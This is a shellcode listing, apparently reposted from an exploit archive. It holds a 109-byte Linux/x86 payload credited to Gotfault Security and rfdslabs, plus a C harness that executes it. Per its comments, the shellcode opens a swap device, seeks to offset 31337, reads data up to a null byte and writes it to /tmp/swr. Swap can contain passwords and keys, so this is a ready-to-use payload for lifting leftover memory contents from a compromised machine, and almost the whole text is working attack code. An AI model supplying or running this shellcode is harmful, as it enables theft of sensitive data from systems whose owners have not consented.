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linux/x86 SWAP restore shellcode 109 bytes
[==========================================
linux/x86 SWAP restore shellcode 109 bytes
==========================================
/*
* linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86
* Copyright (c) 2006 Gotfault Security & rfdslabs
*
* Authors:
*
* dx <xgc@gotfault.net>
* spud <gustavo@rfdslabs.com.br>
*
* This shellcode reads the swap device at offset 31337. After it searchs by
* NULL byte, it stops and write the readed content to '/tmp/swr' file.
* Probaly you needs to change the device path name in open() device syscall.
*
*/
char shellcode[] =
/* open(device, O_RDONLY) */
"\x6a\x05" // push $0x5
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x73\x64\x61\x31" // push $0x31616473
"\x68\x64\x65\x76\x2f" // push $0x2f766564
"\x66\x68\x2f\x2f" // pushw $0x2f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x59" // pop %ecx
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
/* lseek(fd_device, 31337, SEEK_SET) */
"\x31\xc9" // xor %ecx,%ecx
"\x6a\x13" // push $0x13
"\x58" // pop %eax
"\x66\xb9\x69\x7a" // mov $0x7a69,%cx
"\xcd\x80" // int $0x80
/* read(fd_device, *buf, 1025) */
"\x89\xe1" // mov %esp,%ecx
"\x42" // inc %edx
"\xc1\xe2\x0a" // shl $0xa,%edx
"\x42" // inc %edx
"\x6a\x03" // push $0x3
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x89\xe6" // mov %esp,%esi
"\x99" // cltd
"\x31\xff" // xor %edi,%edi
/* counter loop - read each byte and searchs by 0x0. */
"\xac" // lods %ds
"\x38\xd0" // cmp %dl,%al
"\x74\x04" // je 80480b3 <close_device>
"\x47" // inc %edi
"\xeb\xf8" // jmp 80480aa <counter>
"\x91" // xchg %eax,%ecx
/* close(fd_device) */
"\x6a\x06" // push $0x6
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x89\xe6" // mov %esp,%esi
/* open("/tmp/swr", O_CREAT|O_APPEND|O_WRONLY) */
"\x66\xb9\x41\x04" // mov $0x441,%cx
"\x52" // push %edx
"\x68\x2f\x73\x77\x72" // push $0x7277732f
"\x68\x2f\x74\x6d\x70" // push $0x706d742f
"\x89\xe3" // mov %esp,%ebx
"\xb0\x05" // mov $0x5,%al
"\xcd\x80" // int $0x80
"\x93" // xchg %eax,%ebx
/* write(fd_filename, *buf, sizeof(buffer)) */
"\x6a\x04" // push $0x4
"\x58" // pop %eax
"\x56" // push %esi
"\x59" // pop %ecx
"\x89\xfa" // mov %edi,%edx
"\xcd\x80" // int $0x80
/* close(fd_filename) */
"\xb0\x06" // mov $0x6,%al
"\xcd\x80" // int $0x80
/* exit(anything) */
"\xb0\x01" // mov $0x1,%al
"\xcd\x80" // int $0x80
;
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}
# 0day.today [2024-12-26] #